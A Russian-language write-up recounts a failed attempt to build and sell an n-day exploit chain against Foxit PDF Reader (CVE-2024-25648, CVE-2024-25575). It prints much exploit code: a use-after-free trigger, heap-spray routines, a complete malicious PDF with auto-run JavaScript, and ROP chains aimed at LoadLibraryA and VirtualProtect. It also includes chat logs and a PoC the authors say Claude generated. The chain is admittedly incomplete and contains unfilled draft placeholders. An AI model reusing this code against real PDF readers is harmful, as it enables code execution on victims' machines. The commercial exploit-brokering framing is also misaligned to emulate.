
Разбор неудачной цепочки эксплойтов и опыт попытки продать свой первый n-day.
Райтап о цепочке эксплойтов, которую не удалось полностью довести до боевого состояния, и об опыте, когда пытаешься продать свой первый n-day.
Так о чём эта история? Наша цитата, скажем так: «жизненный опыт в 2025 году в роли молодого исследователя безопасности, пытающегося пробиться в постоянно меняющейся и сложной среде». Когда наступил 2025, в моей жизни произошли события, которые подтолкнули меня попытаться как-то заработать. К сожалению, до сих пор этого так и не случилось, поскольку я с треском провалился, как вы увидите. Поэтому команда решила попробовать использовать наши навыки. С нами связался человек через ssn. Когда этот человек вышел на нас, он представился представителем молодого стартапа в области кибербезопасности из части мира, относящейся к mnna, то есть друг НАТО (стараюсь не оставлять слишком много деталей об этом человеке, так как они в любом случае неважны). Они связались с нами, потому что искали человека, который поможет улучшить их продукт — что-то вроде премиального фреймворка Metasploit, то есть им нужны были n-day эксплойты для их фреймворка. На что мы с радостью ответили, что поможем за определённую сумму денег (опять же, неважно, поскольку сделка так и не состоялась). Затем мы предложили ряд потенциальных CVE, которые, как мы думали, сможем превратить в эксплойт за полтора месяца. С предложенным продуктом можно ознакомиться здесь: catalogue_final.pdf. В любом случае, вот первый важный урок для молодёжи, которая хочет заняться кибербезопасностью. При выборе CVE потратьте около 3–4 недель на изучение CVE перед началом исследования. В упомянутом каталоге вы сможете найти, что одним из эксплойтов была цепочка — PDF-цепочка.... Мы лишь бегло посмотрели описания, запустили предоставленный PoC один-два раза, глянули, что это за CWE, и решили: «эй, возможно, мы сможем превратить это в полностью боевой эксплойт». Мы не могли быть дальше от истины. Иногда жизнь вносит свои коррективы: мне нужно было сдать экзамен, и мы решили, что приступим к работе над самим эксплойтом 20 февраля.
20 февраля наступило, и мы начали работать над эксплойтом. Мы начали с чего-то «относительно простого» (обратите внимание на сарказм) — с CVE-2024-25648. Но ещё до начала работы мы попытались понять структуру PDF, точнее, просто получить небольшой обзор, поскольку, как вы увидите далее, нам нужно было собрать «правильный документ» с различными действиями, которые срабатывают при определённых событиях. Здесь стоит поблагодарить Ange Albertini за то, что он нормально задокументировал эту хрень. Вот ресурсы, которые мы использовали для понимания структуры PDF: https://www.youtube.com/watch?v=q6KgFezu8tw , https://www.youtube.com/watch?v=8g6G96nn7Mo , https://www.youtube.com/live/xZPK04a5ltc . Почему это вообще важно? Честно говоря, я забыл, но мы решили, что для этой цепочки одна часть эксплойта будет выполняться в фоне при открытии PDF, а вторая — при его закрытии. В идеале эксплойт должен был эксплуатировать CVE-2024-25648 при закрытии и CVE-2024-25575 при открытии. Если разложить по порядку: чтобы создать точную раскладку памяти для точной эксплуатации UAF, нам нужна была утечка информации (info leak) для вычисления адресов ROP-гаджетов. Таким образом, поток эксплойта должен был быть таким: type conf -> infoleak -> gc для очистки кучи -> точный spray -> uaf -> контроль EIP -8 -> stack pivot -> ropchain -> sc -> pop calc.exe. На текущем этапе у вас есть только UAF и heap spray, а также теоретически (не проверено) 2 предложенные ROP-цепи.
Теперь, не вдаваясь в подробности, одна ключевая часть любой эксплуатации UAF — это, очевидно, «примитив аллокатора». Что это такое? Проще говоря, это то, что позволяет вам контролировать содержимое и размер желаемого выделения. Нам повезло, что другие люди уже проводили исследования на эту тему. Поэтому мы использовали https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672#jit-spraying-to-rescue-bypassing-dep-aslr-at-once как отправную точку. Итак, мы знали, что нужно начинать исследование с чего-то вроде:
function reclaim(size, count){ 3 for (var i = 0; i < count; i++) { 4 sprayArr[i] = new SharedArrayBuffer(size); 5 var rop = new DataView(sprayArr[i]); 6 7 // control value for - call dword ptr [eax+74h] 8 // first dword is pointer to the shellcode 9 rop.setUint32(0, 0x41414141); 10 11 for (var j = 4; j < rop.byteLength/4; j+=4) { 12 rop.setUint32(j, 0x42424242); 13 } 14 } 15} но мы не знали, что именно делать. Поэтому мы вернулись, перечитали advisory, а затем попытались найти размер уязвимого объекта. Как мы это сделали? Честно говоря, по чистой удаче. У нас были хуки, вставленные в RlptFreeHeap, Math.atan, Math.sin и, наконец, RtlAllocateHeap (извините, во время исследования они куда-то затерялись). Вставьте сюда изображение с трассировкой объектов. После поиска закономерности в выделении памяти мы пришли к выводу, что размер уязвимого объекта — 0x70. Дальше мы попытались перехватить объект. Вообще, при эксплуатации UAF есть два условия для контроля над объектом: 1) знать размер и 2) уметь разместить новое выделение между освобождением и повторным использованием. Именно это мы и сделали. Как вы можете видеть:
function uaf() { // prepare heap var count = 1000; var tArr = [];
start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;
getField('aaaa').setAction("Format",'delete_pages();');
app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;
end("disabling the heap hook"); }
function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);
reclaim(theSize,0x300,sprayArr2);
app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);
}
Мы размещаем перераспределение нашего объекта между вызовами deletePages, которые, как предполагалось, должны удалять что-то. И о чудо: вставьте изображение контроля EIP 41414141. Ранее мы говорили о потоке эксплойта или архитектуре эксплойта и упоминали, что хотим вызвать gc для очистки кучи. Не вдаваясь в подробности для тех, кто не знаком с тем, как можно вызвать сборщик мусора для очистки состояния кучи, — один из способов (их много) — несколько раз создать очень большой объект, и готово.
Вот как выглядела реальная реализация этого: function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }
Ничего нового под солнцем, просто хотел быстро отметить факт об этой реализации. Теперь ещё кое-что, о чём стоит поговорить, поскольку эксплойт нацелен на 32-битное ПО. В Windows есть концепция точного heap spray (precise heap spray). Что это такое? В Windows (я знаю, что на Linux это тоже должно быть возможно, но я видел это только на Windows) можно каждый раз выделять предсказуемый адрес в 32-битном пространстве. Честно говоря, ничего нового под солнцем. Это легко, как только понимаешь; я когда-то понимал это досконально, но теперь нет :))). Так вот, в Windows 10 нельзя делать VirtualAlloc размером VABlocks 0x7fb0. Но, к счастью, есть трюк. Можно выделять инкрементально по 0x10000, 0x40000 и ещё каким-то размером, и так, не знаю, раз 0x300. Это позволяет это сделать. Опять же, ничего нового под солнцем: если знаешь, то знаешь. Вот конкретная реализация.
function store_shellcode() { app.alert(util.printf("Uninitialized1"));
var offset = 0xbc4; //this will need adjustment aka be changed
var final_payload = "";
var junk = p32(0x50505050)+p32(0x80808080);
var rop = "4141424243434444454546464747";
var shellcode = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");
// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');
// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');
// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');
// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
app.alert("Layout created, now freeing 3 chunks of 0x10000");
// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;
app.alert("Free", hAlloc2);
hAlloc2 = null;
app.alert("Free", hAlloc3);
hAlloc3 = null;
app.alert("Done. Ready for spray");
//Trigger the theoretical garbage collection to clear the heap.
gc();
final_payload = junk.substring(0,offset);
final_payload += rop;
final_payload += shellcode;
final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);
while(final_payload.length < 0x40000){
final_payload += final_payload;
}
var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.
for (var rep = 0; rep < sprayRepeat; rep++) {
for (var i = 0; i < sprayCount; i++) {
// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
global_address_spray.push(sprayBuffer);
}
}
app.alert(util.printf("SPRAY DONE"));
}
Ничего нового под солнцем: повторяем один и тот же payload от 0x10000 до следующего 0x10000, пока не получится строка длиной 0x40000 hex, а затем буквально распыляем её. Надо упомянуть, что это немного баговано: хотя распыление идёт активно и время от времени нам удаётся получить точный адрес, это требует небольшой оптимизации/доработки, потому что, ну, я забыл, как именно это делается. Вставьте изображение windbg и объяснение того, что я вижу.
Прежде чем закрыть эту главу, стоит упомянуть, как мы создавали хуки для Math.atan, Math.sin и RlptFreeHeap/RtlpAllocateHeap. Для функций Rtl у меня были хуки ещё с курсов по разработке эксплойтов, где мы работали с более старой версией Foxit. Для Math.atan и Math.sin — Рубен....(вставить объяснение). В итоге мы пришли к этому (вставить хуки) (вставить картинку windbg + объяснение того, что там происходит).
Теперь о второй части блога — CVE-2024-25575.
Не углубляясь в детали райтапа от Talos: когда через 2 недели мы переключились на вторую часть бага, Рубен предупредил меня, что это может быть не совсем баг type confusion, а скорее UAF, побочным эффектом которого является type confusion на строке. В любом случае это звучит как хороший сценарий для разработки эксплойта. Не особо. Итак, с самого начала у вас есть вот это:
var lock_object = app.activeDocs[0].addField( 'AA', "signature", 0, [10,214,3] ).getLock() ;
app.activeDocs[0].deletePages();
app.fs.transitions;
lock_object.defineGetter('fields', function () {});
И ваша следующая задача — понять, каким образом, чёрт возьми, заменить app.fs.transitions. В тот момент мы с Рубеном потратили около 3 недель, вырывая волосы, пытаясь разобраться, потому что, согласно документации Adobe, app.fs.transitions — это объект, доступный только для чтения и не доступный для записи (НЕ ХОРОШИЙ ПРИЗНАК ДЛЯ ЭКСПЛУАТАЦИИ). Во-вторых, мы не могли точно определить размер app.fs.transitions с помощью хука. Почему, спросите вы? Ну, хотя в предыдущей части нам повезло это определить, здесь нам просто не повезло: мы поняли, что параметр размера в этом случае не соответствует хукам, и поэтому не могли точно определить размер. Как мы выбрались из этого бардака? За те 3 недели, что прошли, мы однажды увидели в твиттере, что кто-то выпустил MCP-сервер для Ghidra/IDA, и решили попробовать. Думаю, после дня или двух препирательств с Claude он каким-то образом сгенерировал вот этого монстра. message.txt%PDF-1.5
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction 4 0 R
/AA <<
/WC 3 0 R
>>
endobj
2 0 obj << /Type /Pages /Count 7 /Kids [5 0 R 6 0 R 7 0 R 8 0 R 9 0 R 10 0 R 11 0 R]
endobj
3 0 obj << /S /JavaScript /JS(
//var sprayArr = []; var sprayArr2 = [];
var theSize = 0xb8-8; function start(msg) { Math.atan(msg); }
function end(msg) { Math.acos(msg); }
function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }
function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }
function addrToHex(addr) { return "0x" + addr.toString(16).padStart(8, '0'); }
// Function to create a controlled string pattern function createStringPattern(length) { var result = ""; for (var i = 0; i < length; i += 4) { // Create predictable 4-byte patterns var val = 0xAA000000 + i; var c1 = String.fromCharCode((val & 0xFF)); var c2 = String.fromCharCode((val >> 8) & 0xFF); var c3 = String.fromCharCode((val >> 16) & 0xFF); var c4 = String.fromCharCode((val >> 24) & 0xFF); result += c1 + c2 + c3 + c4; } return result; }
function type_conf() { app.alert("Starting alternative exploitation approach...");
// Step 1: Create several different types of form fields
var fields = {};
var fieldTypes = ["text", "checkbox", "radiobutton", "combobox", "listbox", "signature"];
for (var i = 0; i < fieldTypes.length; i++) {
try {
fields[fieldTypes[i]] = app.activeDocs[0].addField(
'Field_' + fieldTypes[i],
fieldTypes[i],
0,
[10, 50 + i*40, 100, 80 + i*40]
);
app.alert("Created " + fieldTypes[i] + " field");
} catch (e) {
app.alert("Error creating " + fieldTypes[i] + " field: " + e);
}
}
// Step 2: Store references to various objects from these fields
var objects = [];
try {
// Get various objects from different field types to increase chances of success
if (fields.signature) objects.push({name: "signature.lock", obj: fields.signature.getLock()});
if (fields.text) objects.push({name: "text.value", obj: fields.text.value});
if (fields.combobox) objects.push({name: "combobox.items", obj: fields.combobox.items});
if (fields.checkbox) objects.push({name: "checkbox.style", obj: fields.checkbox.style});
app.alert("Stored references to " + objects.length + " objects");
} catch (e) {
app.alert("Error storing object references: " + e);
}
// Step 3: Call deletePages() with specific parameters
try {
app.activeDocs[0].deletePages({nStart: 0, nCount: 0}); // Try not to delete any pages
app.alert("deletePages called with parameters");
} catch (e) {
app.alert("Error in deletePages: " + e);
// Continue anyway
}
// Step 4: Create controlled heap objects
var stringObjects = [];
var bufferObjects = [];
// Mix of different object types to influence heap layout
for (var i = 0; i < 100; i++) {
stringObjects.push("Memory" + i.toString(16).padStart(8, '0'));
}
// Create objects with specific values that might be recognizable if leaked
for (var i = 0; i < 20; i++) {
var obj = {
marker: 0xABCD0000 + i,
index: i,
name: "Marker" + i
};
bufferObjects.push(obj);
}
// Step 5: Access transitions and other APIs to influence memory
try {
// Access app.fs.transitions
app.fs.transitions;
app.alert("Transitions accessed");
// Access other properties that might influence memory
if (app.fs.fonts) app.alert("Fonts accessed");
if (app.fs.templates) app.alert("Templates accessed");
} catch (e) {
app.alert("Error accessing app properties: " + e);
}
// Step 6: Trigger JavaScript garbage collection
try {
for (var i = 0; i < 3; i++) {
var largeArray = new Array(1000000);
largeArray = null;
}
app.alert("Garbage collection potentially triggered");
} catch (e) {
app.alert("Error triggering GC: " + e);
}
// Step 7: Examine objects for signs of corruption or memory leaks
var results = [];
for (var i = 0; i < objects.length; i++) {
var objName = objects[i].name;
var obj = objects[i].obj;
results.push("Examining " + objName + ":");
try {
// Check object type
results.push("- Type: " + typeof obj);
// Try to convert to string
var asString = String(obj);
results.push("- String representation: " + asString);
// Look for patterns that might indicate addresses
var hexMatches = asString.match(/[0-9A-Fa-f]{6,}/g);
if (hexMatches) {
for (var m = 0; m < hexMatches.length; m++) {
results.push("- Potential address: 0x" + hexMatches[m]);
}
}
// Try JSON serialization with error handling
try {
var asJson = JSON.stringify(obj);
if (asJson && asJson.length > 2) { // Not empty object
results.push("- JSON: " + (asJson.length > 50 ? asJson.substring(0, 50) + "..." : asJson));
}
} catch (jsonError) {
results.push("- JSON error: " + jsonError);
}
} catch (e) {
results.push("- Error examining object: " + e);
}
}
// Report results
for (var i = 0; i < results.length; i++) {
app.alert(results[i]);
}
app.alert("Alternative exploitation completed");
}
type_conf();
)
endobj
4 0 obj << /S /JavaScript /JS(
/* ROP
FoxitPDFReader!CryptUIWizExport+0x357b1: 00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] 00d7e634 ffd0 call eax
we got 0x44 till we have to jump and such so basically we control ecx and in ecx we put the rest of ropchian
and in ecx we put 0c0c0c0c and at 0c0c0c0c we put ropchian
at 0c0c0c0c+0x44 0x4a2a06: xchg esp, ecx ; ret ; (1 found) such
arr[0]=0x4a2a06 xchg esp, ecx ; ret ; (1 found)(offset 000a2a06) aka ecx ImageBase : 0x00400000rop[1] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[2] = 0x6c6c642e rop[3] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[4] = 0x6b636168 rop[5] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[6] = 0x5x706f74 rop[7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[8] = 0x6b736544 rop[9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x5c64616c rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x565c7372 rop[0xd] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xe] = 0x6573555c rop[0xf] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x10] = 0x4141433a rop[0x11] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x12] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x13] = 0x2 rop[0x14] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x15] = 0x41a07e: push edi ; ret ; (1 found) rop[0x16] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x17] = 05254630 76481100 KERNEL32!LoadLibraryAStub - 0xd rop[0x18] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x19] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)
поскольку у нас нет writeprocessmemory, мы прибегаем к loadlibrarya
43 3A эквивалентно C:\Users\Vlad\Desktop\hack.dll
0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found)
или, если мы хотим использовать цепочку virtualrpotect в качестве полезной нагрузки
rop[0x1] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x2] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x3] = 0x2 #это нужно изменить, чтобы указать на шеллкод rop[0x4] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x5] = 0x41a07e: push edi ; ret ; (1 found) rop[0x6] = 0x41a07e: push edi ; ret ; (1 found) поскольку это то же самое rop[0x7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x8] = здесь размер шеллкода rop[0x9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x1000 rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x40 rop[0xd] = 04bc457c 76466b30 KERNEL32!VirtualProtectStub - 0xd rop[0x10] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x11] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)
*/
var global_address_spray = [];
function p32(num) { return String.fromCharCode(num & 0xff) + String.fromCharCode((num >> 8) & 0xff) + String.fromCharCode((num >> 16) & 0xff) + String.fromCharCode((num >> 24) & 0xff); }
function start(msg) { Math.atan(msg); }
function end(msg) { Math.acos(msg); }
function gc(){ const maxMallocBytes = 128 * 0x100000; //проверить, так ли это ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }
function allocateSprayBuffer(payload) { // Создаём SharedArrayBuffer размером под полезную нагрузку. // Предполагаем один байт на символ (например, для данных в ASCII). var buffer = new SharedArrayBuffer(payload.length); var dv = new DataView(buffer); for (var j = 0; j < payload.length; j++) { dv.setUint8(j, payload.charCodeAt(j)); } return buffer; }
function store_shellcode() { app.alert(util.printf("Uninitialized1"));
var offset = 0xbc4; //это потребует настройки, то есть изменения
var final_payload = "";
var junk = p32(0x50505050)+p32(0x80808080);
var rop = "4141424243434444454546464747";
var shellcode = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");
// Выделяем буфер размером 0x1000 байт и заполняем 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Выделяем буфер размером 0x10000 байт и заполняем 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');
// Перевыделяем hAlloc0: новый буфер на 0x1000 байт, заполненный 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Выделяем ещё один буфер на 0x10000 байт и заполняем 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');
// Снова перевыделяем hAlloc0 (0x1000 байт) и заполняем 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Выделяем третий буфер на 0x10000 байт и заполняем 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');
// Перевыделяем hAlloc0 ещё раз: новый буфер на 0x1000 байт, заполненный 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
app.alert("Layout created, now freeing 3 chunks of 0x10000");
// Логируем и «освобождаем» буферы на 0x10000 байт, отбрасывая ссылки.
app.alert("Free", hAlloc1);
hAlloc1 = null;
app.alert("Free", hAlloc2);
hAlloc2 = null;
app.alert("Free", hAlloc3);
hAlloc3 = null;
app.alert("Done. Ready for spray");
//Запускаем теоретическую сборку мусора, чтобы очистить кучу.
gc();
final_payload = junk.substring(0,offset);
final_payload += rop;
final_payload += shellcode;
final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);
while(final_payload.length < 0x40000){
final_payload += final_payload;
}
var sprayRepeat = 3; // Повторяем распыление несколько раз.
var sprayCount = 0x900; // Количество записей распыления за одно повторение.
for (var rep = 0; rep < sprayRepeat; rep++) {
for (var i = 0; i < sprayCount; i++) {
// Преобразуем первые 0x40000 символов final_payload в SharedArrayBuffer.
var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
global_address_spray.push(sprayBuffer);
}
}
app.alert(util.printf("SPRAY DONE"));
}
var sprayArr = []; var sprayArr2 = [];
var theSize = 0x70-8;
function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }
function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }
function uaf() { // готовим кучу var count = 1000; var tArr = [];
start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;
getField('aaaa').setAction("Format",'delete_pages();');
app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;
end("disabling the heap hook"); }
function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);
reclaim(theSize,0x300,sprayArr2);
app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);
}
//start("enabling the heap hook"); //end("disabling the heap hook");
//sprayArr[i] = new SharedArrayBuffer(theSize); reclaim(theSize,0x400,sprayArr); for(var i = 0; i < 0x400; ++i){ if(i%2 == 0){ sprayArr[i] = null; } }
//store_shellcode(); //uaf(); //console.show(); )>>
5 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 6 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 7 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 8 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 9 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 10 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 11 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj
trailer
<<
/Root 1 0 R
/Size 12
startxref
%%EOF
Теперь то, что мы сделали — это, я полагаю, можно назвать регрессионным тестированием: Рубен взял этот PoC и начал разбирать его по кусочкам, строка за строкой. Весь процесс занял, насколько я помню, примерно две недели, но, как забавный курьёз, вот как прошёл тот разговор:
vlad: я контролирую ecx!!!!!! близко к инфолику с этим ты контролируешь ecx точно, но я не знаю, как заменить строку. Объект мёртв, но ты примерно контролируешь, где он падает вставляю случайный poc а с этим ты почти контролируешь ecx, контролируешь ecx+8. Видишь? Не, сделай из этого инфолик, пожалуйста 🙂 выкладываю случайный poc в этом ты контролируешь строку 'object is dead' так что это должно быть близко итак, как мы уже заключили, эксп не на 100%, но ему и не нужно быть на 100%, он просто должен быть надёжным. Так что по моим тестам 5/3 вывод — тот, что выше что касается частичного случая с object_is_dead, в 100% случаев крах происходит с контролем ecx
reuben: так, я пытаюсь запустить этот poc, и это вообще другой баг, лоол vlad: могу я в войс спросить о твоих результатах? что совсем другой баг, как?? 0day??? ты же знаешь, мы пытаемся обратиться к app.fs.transitions что лишь заставляет меня немного задаваться вопросом: это 0day, или путаница между багами, или другой cve, учитывая, что мы опять вызываем delete_pages и app.fs.transition
reuben: раньше он падал где-то случайно. Я не знаю, что произошло но здесь он падает в одном и том же месте (воспроизвёл уже много раз) но прикинь это происходит до вызова app.fs.transitions
vlad: что вообще такое жизнь, бро?? reuben: я пока не знаю, как контролировать там данные, но я почти уверен, что что-то может их заменить vlad: окей, дай спрошу тебя вот о чём poc-ки, которые у тебя сейчас есть они показывают некоторый контроль, верно в плане ecx и, судя по тому, что ты мне говоришь, app.fs.transitions бесполезен, верно круто значит, мы на верном пути, да reuben: да, мы можем обойтись без app.fs.transitions, и я говорю это уже давно, просто не знал, как его триггернуть (и, честно говоря, до сих пор не знаю) vlad: что ж, может ли быть, как ты сказал что настоящий баг — это скорее uaf, чем type conf??? а type conf — просто из-за app.fs.transitions?
И вот здесь появляется урок, извлечённый в процессе размышлений, и он может быть крайне важен и для молодых исследователей: если баг в бюллетене выглядит, скажем, как type confusion, но по твоему анализу ведёт себя как представитель другого класса, это может быть признаком того, что в данном случае — или, обобщая, — если ты хочешь использовать type conf для инфолика, а баг на Windows ведёт себя как uaf, то, скорее всего, инфолик у тебя не выйдет.
reuben: пока не могу сказать но послушай я убрал шаг 11 из твоего последнего poc и он всё ещё срабатывает шаг 11 — это место, где ты вызываешь app.fs.transitions но мы всё ещё не знаем, можно ли с его помощью что-нибудь утечь, лол
vlad: согласен но по крайней мере теперь у нас есть некоторый контроль который, опять же, не особо-то и контроль потому что может оказаться, что это просто совпадение, и мы не можем его контролировать, лоол и мы снова вернулись к началу что вообще такое жизнь????
reuben: окей, так, я изменил текст, который теперь появляется при крахе 😄
vlad: чтооо реально у тебя есть контроль?
вижу луч света
reuben: не полностью, потому что текст в UTF-16LE, но, возможно, я смогу что-то сделать, посмотрим
reuben:

reuben: это ещё один вариант, а значит, я, вероятно, смогу обойти ограничение utf-16le
0:000> db ecx - 4 0f55f9ec 78 31 32 78 33 34 78 35-36 78 37 38 78 39 41 78 x12x34x56x78x9Ax 0f55f9fc 42 43 78 44 45 78 46 30-78 31 32 48 00 00 00 00 BCxDExF0x12H.... 0f55fa0c 00 00 00 00 06 00 01 0f-40 da 3a 0e 00 00 00 00 ........@.:..... 0f55fa1c 00 00 00 00 00 00 00 00-e0 49 55 0f 10 00 00 00 .........IU..... 0f55fa2c 02 00 00 00 6c bb 54 0f-48 bb 54 0f 0a 00 00 00 ....l.T.H.T..... 0f55fa3c 00 00 00 00 01 00 00 00-10 00 00 00 10 00 00 00 ................ 0f55fa4c 54 00 69 00 6d 00 65 00-73 00 20 00 42 00 6f 00 T.i.m.e.s. .B.o. 0f55fa5c 6c 00 64 00 49 00 74 00-61 00 6c 00 69 00 63 00 l.d.I.t.a.l.i.c.
......... часть переписки опущена ради краткости и психического здоровья
пока в какой-то момент мы не дошли до "финального poc", на котором застряли, и выглядит он так function type_conf(){ app.alert("Starting enhanced memory leak exploit");
// Шаг 2: Создаём поля формы
gFields.signature = app.activeDocs[0].addField(
"signature_field",
"signature",
0,
[10, 10, 100, 50]
);
gFields.combo = app.activeDocs[0].addField(
"HAHAHAHAHAH",
"combobox",
0,
[10, 60, 100, 100]
);
// Шаг 4: Получаем критический объект Lock
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");
app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");
gLockObj.__defineGetter__('fields', function () {});
}
Но в любом случае, почему я хотел включить часть нашего, я полагаю, рабочего процесса — чтобы показать, как уже было показано, что разработка эксплойтов — не совсем точная наука. Один очень важный урок для новых исследователей и подающих надежды молодых исследователей — осознать, что вам нужно вооружиться терпением и драйвом (также известным как мотивация), чтобы очень часто видеть маленький луч света, который в большинстве случаев будет не концом туннеля, а лишь миражом. Но не бойтесь, это часть процесса. Итак, урок, который нужно усвоить: вы будете тратить много, и я имею в виду действительно много времени, занимаясь разработкой эксплойтов. Опять же, не бойтесь, это часть процесса эксплуатации. Теперь, когда мы приближаемся к концу этой статьи и истории, позвольте мне дать вам ещё несколько уроков, которые мы извлекли во время нашего путешествия.Итак, всякий раз, когда вы видите, что ваш объект не доступен для записи и доступен только для чтения, когда вы видите, что перепробовали всё, что даёт документация доступного API, и всё равно пошли дальше, чтобы выгрузить то, что выглядит как доступный JS API, например: AddcDocID .rdata:050B1EC8 00000007 C AddStr .rdata:050E8E70 00000016 C Sign_Fill_Set_PreText .rdata:050E8E88 00000012 C Sign_Fill_AddText .rdata:050E8E9C 00000017 C Sign_Fill_AddText_Comb .rdata:050E8EE0 0000000F C Sign_Fill_AddX .rdata:050E8EF0 00000011 C Sign_Fill_AddDot .rdata:050E8F04 00000011 C Sign_Fill_Group2 